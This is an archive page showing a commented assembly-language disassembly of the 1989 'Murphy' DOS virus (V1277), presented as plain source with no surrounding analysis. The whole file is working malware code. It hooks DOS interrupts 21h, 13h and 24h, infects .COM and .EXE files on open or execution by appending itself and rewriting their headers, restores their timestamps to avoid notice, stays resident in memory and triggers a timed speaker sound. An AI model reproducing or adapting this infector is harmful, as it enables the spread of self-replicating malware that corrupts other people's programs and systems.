home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MURPHY-1.ASM < prev    next >
Assembly Source File  |  1995-09-05  |  11KB  |  674 lines

  1.         
  2.     
  3.  
  4. L0100:    JMP    L08D0
  5.     MOV    AH,09H
  6.     MOV    DX,010CH
  7.     INT    21H
  8.  
  9. L010A:    INT    20H
  10.  
  11. L010C:    DB    'Murphy virus V1.00 (V1277)$'
  12.     DB    1961 DUP (1)
  13.  
  14. L08D0:    JMP    L0C51
  15.  
  16.     NOP            ; \
  17.     NOP            ;  \
  18.     NOP            ;   \
  19. L08D6:    MOV    AH,09H        ;    \
  20.     MOV    DX,010CH    ;     > ORIGINAL 24 BYTES
  21.     INT    21H        ;    /
  22. L08DD:    INT    20H        ;   /
  23.                 ;  /
  24. L08DF:    DB    'Murphy virus'    ; /
  25.  
  26. L08EB:    DW    2 DUP(0000H)
  27.     MOV    WORD PTR [DI],0040H ;DB 0C7H,25H,40H,00H
  28.     AND    [BX+SI],AX ;DB 21H,00H
  29.     JNO    L08F7 ;DB 71H,00H
  30. L08F7:    XOR    AL,[BX+DI] ;DB 32H,01H
  31.     MOV    CH,02H ;DB 0B5H,02H
  32.     TEST    AL,0CH ;DB 0A8H,0CH
  33.     PUSH    SI ;DB 56H
  34.     ADD    AX,0AF9H ;DB 05H,0F9H,0AH
  35.     EXTRN L3BC8H_0001H:FAR
  36.     JMP    L3BC8H_0001H ;DB 0EAH,01H,00H,0C8H,3BH
  37.     ADD    CH,[BX+SI+200CH]
  38.  
  39. L090A:    DB    'Hello, I'm Murphy. Nice to meet you friend. '
  40.     DB    'I'm written since Nov/Dec.'
  41.     DB    ' Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory. '
  42.  
  43. ; ********  INT21 DRIVER  ********
  44.  
  45.     CALL    L0C1B                ; SOUND SHOW
  46.  
  47.     CMP    AX,4B59H            ; SPECIAL FUNCTION ?
  48.     JNE    L099A
  49.  
  50.     PUSH    BP                ; \
  51.     MOV    BP,SP                ;  \
  52.     AND    WORD PTR [BP+06H],-02H        ;   > FLAG C = 0
  53.     POP    BP                ;  /
  54.     IRET                    ; /
  55.  
  56. L099A:    CMP    AH,4BH                ; EXEC PROGRAM ?
  57.     JE    L09B1
  58.  
  59.     CMP    AX,3D00H            ; OPEN FILE ?
  60.     JE    L09B1
  61.  
  62.     CMP    AX,6C00H            ; OPEN FILE ( MS DOS v4.xx )
  63.     JNE    L09AE
  64.     CMP    BL,00H
  65.     JE    L09B1
  66.  
  67. L09AE:    JMP    L0A56                ; NO. ORIGINAL INT21
  68.  
  69. L09B1:    PUSH    ES                ; \
  70.     PUSH    DS                ;  > SAVE REGISTERS
  71. L09B3:    DB    'WVURQSP'            ; /
  72.  
  73.     CALL    L0B86                ; SET NEW INT24 & INT13
  74.  
  75.     CMP    AX,6C00H            ; \
  76.     JNE    L09C4                ;  > MS DOS v4.xx NAME -> DS:SI
  77.     MOV    DX,SI                ; /
  78.  
  79. L09C4:    MOV    CX,0080H
  80.  
  81.     MOV    SI,DX                ; \
  82. L09C9:    INC    SI                ;  \
  83.     MOV    AL,[SI]                ;   > SEARCH EXTENSION
  84.     OR    AL,AL                ;  /
  85.     LOOPNZ    L09C9                ; /
  86.  
  87.     SUB    SI,+02H
  88.  
  89.     CMP    WORD PTR [SI],4D4FH        ; 'OM' ?
  90.     JE    L09EB
  91.  
  92.     CMP    WORD PTR [SI],4558H        ; 'XE' ?
  93.     JE    L09E2
  94.  
  95. L09DF:    JMP    SHORT L0A4A
  96.  
  97.     NOP
  98. L09E2:    CMP    WORD PTR [SI-02H],452EH        ; '.C' ?
  99.     JE    L09F2
  100.  
  101.     JMP    SHORT L09DF
  102.  
  103. L09EB:    CMP    WORD PTR [SI-02H],432EH        ; '.E' ?
  104.     JNE    L09DF
  105.  
  106. L09F2:    MOV    AX,3D02H            ; OPEN FILE
  107.     CALL    L0B7F
  108.     JB    L0A4A
  109.  
  110.     MOV    BX,AX
  111.  
  112.     MOV    AX,5700H            ; GET DATE & TIME
  113.     CALL    L0B7F
  114.  
  115.     MOV    CS:[0121H],CX            ; SAVE DATE & TIME
  116.     MOV    CS:[0123H],DX
  117.  
  118.     MOV    AX,4200H            ; MOVE 'FP' TO BEGIN FILE ???
  119.     XOR    CX,CX
  120.     XOR    DX,DX
  121.     CALL    L0B7F
  122.  
  123.     PUSH    CS                ; MY SEGMENT
  124.     POP    DS
  125.  
  126.     MOV    DX,0103H            ; READ ORIGINAL 24 BYTES
  127.     MOV    SI,DX
  128.     MOV    CX,0018H
  129.     MOV    AH,3FH
  130.     CALL    L0B7F
  131.     JB    L0A35
  132.  
  133.     CMP    WORD PTR [SI],5A4DH        ; 'EXE' FILE ?
  134.     JNE    L0A32
  135.  
  136.     CALL    L0A5B                ; INFECT 'EXE' FILE
  137.     JMP    SHORT L0A35
  138.  
  139. L0A32:    CALL    L0B2B                ; INFECT 'COM' FILE
  140.  
  141. L0A35:    MOV    AX,5701H            ; SET ORIGINAL DATE & TIME
  142.     MOV    CX,CS:[0121H]
  143.     MOV    DX,CS:[0123H]
  144.     CALL    L0B7F
  145.  
  146.     MOV    AH,3EH                ; CLOSE FILE
  147.  
  148.     CALL    L0B7F                ; RESTORE INT13 & INT24
  149.  
  150. L0A4A:    CALL    L0BC3
  151.  
  152. L0A4D:    DB    'X[YZ]^_'            ; RESTORE REGISTERS
  153.     POP    DS
  154.     POP    ES
  155.  
  156. L0A56:    JMP    DWORD PTR CS:[0129H]        ; ORIGINAL INT21
  157.  
  158. ; ********  INFECT 'EXE' PROGRAM  ********
  159.  
  160. L0A5B:    MOV    CX,[SI+16H]            ; CS SEGMENT
  161.  
  162.     ADD    CX,[SI+08H]            ; + HEADER SIZE
  163.  
  164.     MOV    AX,0010H            ; PARA -> BYTES
  165.     MUL    CX
  166.  
  167.     ADD    AX,[SI+14H]            ; DX:AX = START FILE
  168.     ADC    DX,+00H
  169.  
  170.     PUSH    DX                ; SAVE START FILE OFFSET
  171.     PUSH    AX
  172.  
  173.     MOV    AX,4202H            ; MOVE FP TO END FILE
  174.     XOR    CX,CX                ; (GET FILE SIZE)
  175.     XOR    DX,DX
  176.     CALL    L0B7F
  177.  
  178.     CMP    DX,+00H                ; SIZE < 1277 ???
  179.     JNE    L0A88
  180.     CMP    AX,04FDH
  181.     NOP
  182.     JNB    L0A88
  183.  
  184.     POP    AX                ; QUIT
  185.     POP    DX
  186.     JMP    L0B0D
  187.  
  188. L0A88:    MOV    DI,AX                ; SAVE FILE SIZE
  189.     MOV    BP,DX
  190.  
  191.     POP    CX                ; CALC CODE SIZE
  192.     SUB    AX,CX
  193.     POP    CX
  194.     SBB    DX,CX
  195.  
  196.     CMP    WORD PTR [SI+0CH],+00H        ; HIGH FILE ?
  197.     JE    L0B0D
  198.  
  199.     CMP    DX,+00H                ; CODE SIZE = 1277
  200.     JNE    L0AA3
  201.     CMP    AX,04FDH
  202.     NOP
  203.     JE    L0B0D
  204.  
  205. L0AA3:    MOV    DX,BP                ; FILE SIZE
  206.     MOV    AX,DI
  207.  
  208.     PUSH    DX                ; SAVE FILE SIZE
  209.     PUSH    AX
  210.  
  211.     ADD    AX,04FDH            ; CALC NEW FILE SIZE
  212.     NOP
  213.     ADC    DX,+00H
  214.  
  215.     MOV    CX,0200H            ; CALC FILE SIZE FOR HEADER
  216.     DIV    CX
  217.  
  218.     LES    DI,DWORD PTR [SI+02H]        ; SAVE OLD CODE SIZE
  219.     MOV    CS:[0125H],DI
  220.     MOV    CS:[0127H],ES
  221.  
  222.     MOV    [SI+02H],DX            ; SAVE NEW CODE SIZE
  223.     CMP    DX,+00H
  224.     JE    L0ACB
  225.     INC    AX
  226. L0ACB:    MOV    [SI+04H],AX
  227.  
  228.     POP    AX                ; RESTORE ORIGINAL FILE SIZE
  229.     POP    DX
  230.  
  231.     CALL    L0B0E                ; ???
  232.  
  233.     SUB    AX,[SI+08H]
  234.  
  235.     LES    DI,DWORD PTR [SI+14H]        ; SAVE OLD CS:IP
  236.     MOV    DS:[011BH],DI
  237.     MOV    DS:[011DH],ES
  238.  
  239.     MOV    [SI+14H],DX            ; SET NEW CS:IP
  240.     MOV    [SI+16H],AX
  241.  
  242.     MOV    WORD PTR DS:[011FH],AX        ; SAVE OFFSET
  243.  
  244.     MOV    AX,4202H            ; MOVE FP TO END FILE
  245.     XOR    CX,CX
  246.     XOR    DX,DX
  247.     CALL    L0B7F
  248.  
  249.     CALL    L0B1F                ; WRITE CODE
  250.     JB    L0B0D
  251.  
  252.     MOV    AX,4200H            ; MOVE FP TO BEGIN FILE
  253.     XOR    CX,CX
  254.     XOR    DX,DX
  255.     CALL    L0B7F
  256.  
  257.     MOV    AH,40H                ; WRITE HEADER
  258.     MOV    DX,SI
  259.     MOV    CX,0018H
  260.     CALL    L0B7F
  261.  
  262. L0B0D:    RET
  263.  
  264. L0B0E:    MOV    CX,0004H            ; ???
  265.     MOV    DI,AX
  266.     AND    DI,+0FH
  267. L0B16:    SHR    DX,1
  268.     RCR    AX,1
  269.     LOOP    L0B16
  270.     MOV    DX,DI
  271.     RET  
  272.  
  273. L0B1F:    MOV    AH,40H                ; WRITE VIRUS CODE
  274.     MOV    CX,04FDH            ; SIZE = 1277
  275.     NOP
  276.     MOV    DX,0100H
  277.     JMP    SHORT L0B7F
  278.     NOP
  279.  
  280.  
  281. ; ********  INFECT 'COM' PROGRAM  ********
  282.  
  283. L0B2B:    MOV    AX,4202H            ; MOVE FP TO END FILE
  284.     XOR    CX,CX
  285.     XOR    DX,DX
  286.     CALL    L0B7F
  287.  
  288.     CMP    AX,04FDH            ; FILE SIZE < 1277 ?
  289.     NOP
  290.     JB    L0B7E
  291.  
  292.     CMP    AX,0FAE2H            ; FILE SIZE > 64226
  293.     NOP
  294.     JNB    L0B7E
  295.  
  296.     PUSH    AX                ; SAVE SIZE
  297.  
  298.     CMP    BYTE PTR [SI],0E9H        ; 'JUMP' CODE ?
  299.     JNE    L0B53
  300.  
  301.     SUB    AX,0500H            ; CALC OFFSET FOR VIRUS
  302.     NOP
  303.  
  304.     CMP    AX,[SI+01H]            ; FILE IS INFECTET ?
  305.     JNE    L0B53
  306.  
  307.     POP    AX
  308.     JMP    SHORT L0B7E
  309.  
  310. L0B53:    CALL    L0B1F                ; WRITE VIRUS CODE
  311.     JNB    L0B5B
  312.  
  313.     POP    AX                ; ERROR
  314.     JMP    SHORT L0B7E
  315.  
  316. L0B5B:    MOV    AX,4200H            ; MOVE FP TO BEGIN FILE
  317.     XOR    CX,CX
  318.     XOR    DX,DX
  319.     CALL    L0B7F
  320.  
  321.     POP    AX                ; CALC OFFSET FOR JUMP
  322.     SUB    AX,0003H
  323.  
  324.     MOV    DX,011BH            ; DATA ARREA
  325.     MOV    SI,DX
  326.  
  327.     MOV    BYTE PTR CS:[SI],0E9H        ; SAVE JUMP CODE TO ARREA
  328.     MOV    CS:[SI+01H],AX
  329.  
  330.     MOV    AH,40H                ; WRITE FIRST 3 BYTES
  331.     MOV    CX,0003H
  332.     CALL    L0B7F
  333.  
  334. L0B7E:    RET
  335.  
  336.  
  337. ; ********  VIRUS INT21  ********
  338.  
  339. L0B7F:    PUSHF
  340.     CALL    DWORD PTR CS:[0129H]
  341.     RET
  342.  
  343. ; ********  SET NEW INT24 & INT13  ********
  344.  
  345. L0B86:    PUSH    AX                ; SAVE REGISTERS
  346.     PUSH    DS
  347.     PUSH    ES
  348.  
  349.     XOR    AX,AX                ; SEGMENT AT VECTOR TABLE
  350.     PUSH    AX
  351.     POP    DS
  352.  
  353.     CLI
  354.  
  355.     LES    AX,DWORD PTR DS:[0090H]        ; \
  356.     MOV    WORD PTR CS:[012DH],AX        ;  > GET ADDRES INT24
  357.     MOV    CS:[012FH],ES            ; /
  358.  
  359.     MOV    AX,0418H            ; \
  360.     MOV    WORD PTR DS:[0090H],AX        ;  > SET NEW INT24
  361.     MOV    DS:[0092H],CS            ; /
  362.  
  363.     LES    AX,DWORD PTR DS:[004CH]        ; \
  364.     MOV    WORD PTR CS:[0135H],AX        ;  > GET ADDRES INT13
  365.     MOV    CS:[0137H],ES            ; /
  366.  
  367.     LES    AX,DWORD PTR CS:[0131H]        ; \
  368.     MOV    WORD PTR DS:[004CH],AX        ;  > SET NEW INT13
  369.     MOV    DS:[004EH],ES            ; /
  370.  
  371.     STI
  372.  
  373.     POP    ES                ; RESTORE REGISTERS
  374.     POP    DS
  375.     POP    AX
  376.     RET
  377.  
  378. ; ********  RESTORE INT24 & INT13  ********
  379.  
  380. L0BC3:    PUSH    AX
  381.     PUSH    DS
  382.     PUSH    ES
  383.     XOR    AX,AX
  384.     PUSH    AX
  385.     POP    DS
  386.  
  387.     CLI
  388.  
  389.     LES    AX,DWORD PTR CS:[012DH]        ; \
  390.     MOV    WORD PTR DS:[0090H],AX        ;  > RESTORE INT24
  391.     MOV    DS:[0092H],ES            ; /
  392.  
  393.     LES    AX,DWORD PTR CS:[0135H]        ; \
  394.     MOV    WORD PTR DS:[004CH],AX        ;  > RESTORE INT13
  395.     MOV    DS:[004EH],ES            ; /
  396.  
  397.     STI
  398.  
  399.     POP    ES
  400.     POP    DS
  401.     POP    AX
  402.     RET
  403.  
  404.  
  405. ; ********  INT13 DRIVER  ********
  406.  
  407. L0BE8:    TEST    AH,80H                ; HARD DISK ?
  408.     JE    L0BF2
  409.  
  410.     JMP    DWORD PTR CS:[012DH]        ; YES.
  411.  
  412. L0BF2:    ADD    SP,+06H                ; POP REGISTERS
  413. L0BF5:    DB    'X[YZ^_]'
  414.     POP    DS
  415.     POP    ES
  416.     PUSH    BP
  417.     MOV    BP,SP
  418.     OR    WORD PTR [BP+06H],+01H        ; FLAG C=1
  419.     POP    BP
  420.     IRET
  421.  
  422.  
  423. ; ********  SOUOND DRIVER  *********
  424.  
  425. L0C07:    MOV    AL,0B6H
  426.     OUT    43H,AL
  427.     MOV    AX,0064H
  428.     OUT    42H,AL
  429.     MOV    AL,AH
  430.     OUT    42H,AL
  431.     IN    AL,61H
  432.     OR    AL,03H
  433.     OUT    61H,AL
  434.     RET
  435.  
  436.  
  437. ; ********  SHOW DRIVER  ********
  438.  
  439. L0C1B:    PUSH    AX                ; SAVE REGISTERS
  440.     PUSH    CX
  441.     PUSH    DX
  442.     PUSH    DS
  443.  
  444.     XOR    AX,AX                ; DOS ARREA SEGMENT
  445.     PUSH    AX
  446.     POP    DS
  447.  
  448.     MOV    AX,WORD PTR DS:[046CH]        ; GET TIME
  449.     MOV    DX,DS:[046EH]
  450.  
  451.     MOV    CX,0FFFFH            ; DIVIDE BY 65535
  452.     DIV    CX                ; 1 HOUR - 65535 TICKS 
  453.  
  454.     CMP    AX,000AH            ; TEN HOUR ?
  455.     JNE    L0C37
  456.  
  457.     CALL    L0C07                ; SHOW
  458.  
  459. L0C37:    POP    DS                ; RESTORE REGISTERS
  460.     POP    DX
  461.     POP    CX
  462.     POP    AX
  463.     RET
  464.  
  465. L0C3C:    MOV    DX,0010H            ; DX:AX = AX * 16
  466.     MUL    DX
  467.     RET
  468.  
  469.  
  470. ; CLEAR REGISTERS ????
  471.  
  472. L0C42:    XOR    AX,AX
  473.     XOR    BX,BX
  474.     XOR    CX,CX
  475.     XOR    DX,DX
  476.     XOR    SI,SI
  477.     XOR    DI,DI
  478.     XOR    BP,BP
  479.     RET
  480.  
  481. L0C51:    PUSH    DS
  482.  
  483.     CALL    L0C55                ; PUSH ADDRES
  484.  
  485. L0C55:    MOV    AX,4B59H            ; I'M IN MEMORY ?
  486.     INT    21H
  487. L0C5A:    JB    L0C5F                ; NO. INSERT CODE
  488.  
  489.     JMP    L0D87                ; START FILE
  490.  
  491. L0C5F:    POP    SI                ; POP MY ADDRESS
  492.     PUSH    SI
  493.  
  494.     MOV    DI,SI
  495.  
  496.     XOR    AX,AX                ; DS = VECTOR TABLE SEGMENT
  497.     PUSH    AX
  498.     POP    DS
  499.  
  500.     LES    AX,DWORD PTR DS:[004CH]        ; GET INT13 ADDRESS
  501.     MOV    CS:[SI+0FCACH],AX
  502.     MOV    CS:[SI+0FCAEH],ES
  503.  
  504.     LES    BX,DWORD PTR DS:[0084H]        ; GET INT21 ADDRESS
  505.     MOV    CS:[DI+0FCA4H],BX
  506.     MOV    CS:[DI+0FCA6H],ES
  507.  
  508.     MOV    AX,WORD PTR DS:[0102H]        ; SEGMENT OF INT40
  509.     CMP    AX,0F000H            ; IN ROM BIOS ?
  510.     JNE    L0CF4                ; NO. NOT HARD DISK IN SYSTEM
  511.  
  512.     MOV    DL,80H
  513.  
  514.     MOV    AX,WORD PTR DS:[0106H]        ; SEGMENT OF INT41
  515.  
  516.     CMP    AX,0F000H            ; ROM BIOS ?
  517.     JE    L0CB1
  518.  
  519.     CMP    AH,0C8H                ; < ROM EXTERNAL ARREA
  520.     JB    L0CF4
  521.  
  522.     CMP    AH,0F4H                ; > ROM EXTERNAL ARREA
  523.     JNB    L0CF4
  524.  
  525.     TEST    AL,7FH
  526.     JNE    L0CF4
  527.  
  528.     MOV    DS,AX
  529.  
  530.     CMP    WORD PTR DS:[0000H],0AA55H    ; BEGIN ROM MODUL ?
  531.     JNE    L0CF4
  532.  
  533.     MOV    DL,DS:[0002H]            ; SCANING FOR ORIGINAL INT13
  534. L0CB1:    MOV    DS,AX                ; ADDRESS
  535.     XOR    DH,DH
  536.     MOV    CL,09H
  537.     SHL    DX,CL
  538.     MOV    CX,DX
  539.     XOR    SI,SI
  540. L0CBD:    LODSW
  541.     CMP    AX,0FA80H
  542.     JNE    L0CCB
  543.     LODSW
  544.     CMP    AX,7380H
  545.     JE    L0CD6
  546.     JNE    L0CE0
  547. L0CCB:    CMP    AX,0C2F6H
  548.     JNE    L0CE2
  549.     LODSW
  550.     CMP    AX,7580H
  551.     JNE    L0CE0
  552. L0CD6:    INC    SI
  553.     LODSW
  554.     CMP    AX,40CDH
  555.     JE    L0CE7
  556.     SUB    SI,+03H
  557. L0CE0:    DEC    SI
  558.     DEC    SI
  559. L0CE2:    DEC    SI
  560.     LOOP    L0CBD
  561.     JMP    SHORT L0CF4
  562. L0CE7:    SUB    SI,+07H
  563.     MOV    CS:[DI+0FCACH],SI
  564.     MOV    CS:[DI+0FCAEH],DS
  565.  
  566. L0CF4:    MOV    AH,62H                ; TAKE 'PSP' SEGMENT
  567.     INT    21H
  568.  
  569. L0CF8:    MOV    ES,BX                ; FREE MY BLOCK
  570.     MOV    AH,49H
  571.     INT    21H
  572.  
  573. L0CFE:    MOV    BX,0FFFFH            ; GET BLOCK SIZE
  574.     MOV    AH,48H
  575.     INT    21H
  576.  
  577. L0D05:    SUB    BX,0051H            ; FREE SPACE ?
  578.     JB    L0D87
  579.  
  580.     MOV    CX,ES                ; CALC NEW BLOCK SIZE
  581.     STC
  582.     ADC    CX,BX
  583.  
  584.     MOV    AH,4AH                ; SET NEW SIZE
  585.     INT    21H
  586.  
  587. L0D14:    MOV    BX,0050H
  588.     NOP
  589.     STC
  590.     SBB    ES:[0002H],BX
  591.     PUSH    ES
  592.     MOV    ES,CX
  593.     MOV    AH,4AH
  594.     INT    21H
  595.  
  596. L0D25:    MOV    AX,ES
  597.     DEC    AX
  598.     MOV    DS,AX
  599.     MOV    WORD PTR DS:[0001H],0008H
  600.     CALL    L0C3C
  601.     MOV    BX,AX
  602.     MOV    CX,DX
  603.     POP    DS
  604.     MOV    AX,DS
  605.     CALL    L0C3C
  606.     ADD    AX,DS:[0006H]
  607.     ADC    DX,+00H
  608.     SUB    AX,BX
  609.     SBB    DX,CX
  610.     JB    L0D4E
  611.     SUB    DS:[0006H],AX
  612. L0D4E:    MOV    SI,DI
  613.     XOR    DI,DI
  614.     PUSH    CS
  615.     POP    DS
  616.     SUB    SI,0385H
  617.     MOV    CX,04FDH
  618.     NOP
  619.     INC    CX
  620.     REPZ    MOVSB
  621.     MOV    AH,62H
  622.     INT    21H
  623.  
  624. L0D63:    DEC    BX
  625.     MOV    DS,BX
  626.     MOV    BYTE PTR DS:[0000H],5AH
  627.     MOV    DX,01B9H
  628.     XOR    AX,AX
  629.     PUSH    AX
  630.     POP    DS
  631.     MOV    AX,ES
  632.     SUB    AX,0010H
  633.     MOV    ES,AX
  634.     CLI
  635.     MOV    DS:[0084H],DX
  636.     MOV    DS:[0086H],ES
  637.     STI
  638.     DEC    BYTE PTR DS:[047BH]
  639. L0D87:    POP    SI
  640.     CMP    WORD PTR CS:[SI+0FC7EH],5A4DH
  641.     JNE    L0DAE
  642.     POP    DS
  643.     MOV    AX,CS:[SI+0FC9AH]
  644.     MOV    BX,CS:[SI+0FC98H]
  645.     PUSH    CS
  646.     POP    CX
  647.     SUB    CX,AX
  648.     ADD    CX,BX
  649.     PUSH    CX
  650.     PUSH    WORD PTR CS:[SI+0FC96H]
  651.     PUSH    DS
  652.     POP    ES
  653.     CALL    L0C42
  654.     RETF
  655.  
  656. L0DAE:    POP    AX
  657.     MOV    AX,CS:[SI+0FC7EH]
  658.     MOV    WORD PTR CS:[0100H],AX
  659.     MOV    AX,CS:[SI+0FC80H]
  660.     MOV    WORD PTR CS:[0102H],AX
  661.     MOV    AX,0100H
  662.     PUSH    AX
  663.     PUSH    CS
  664.     POP    DS
  665.     PUSH    DS
  666.     POP    ES
  667.     CALL    L0C42
  668.     RET
  669.  
  670. L0DCD:    DW    0000H
  671.  
  672.  
  673.  
  674.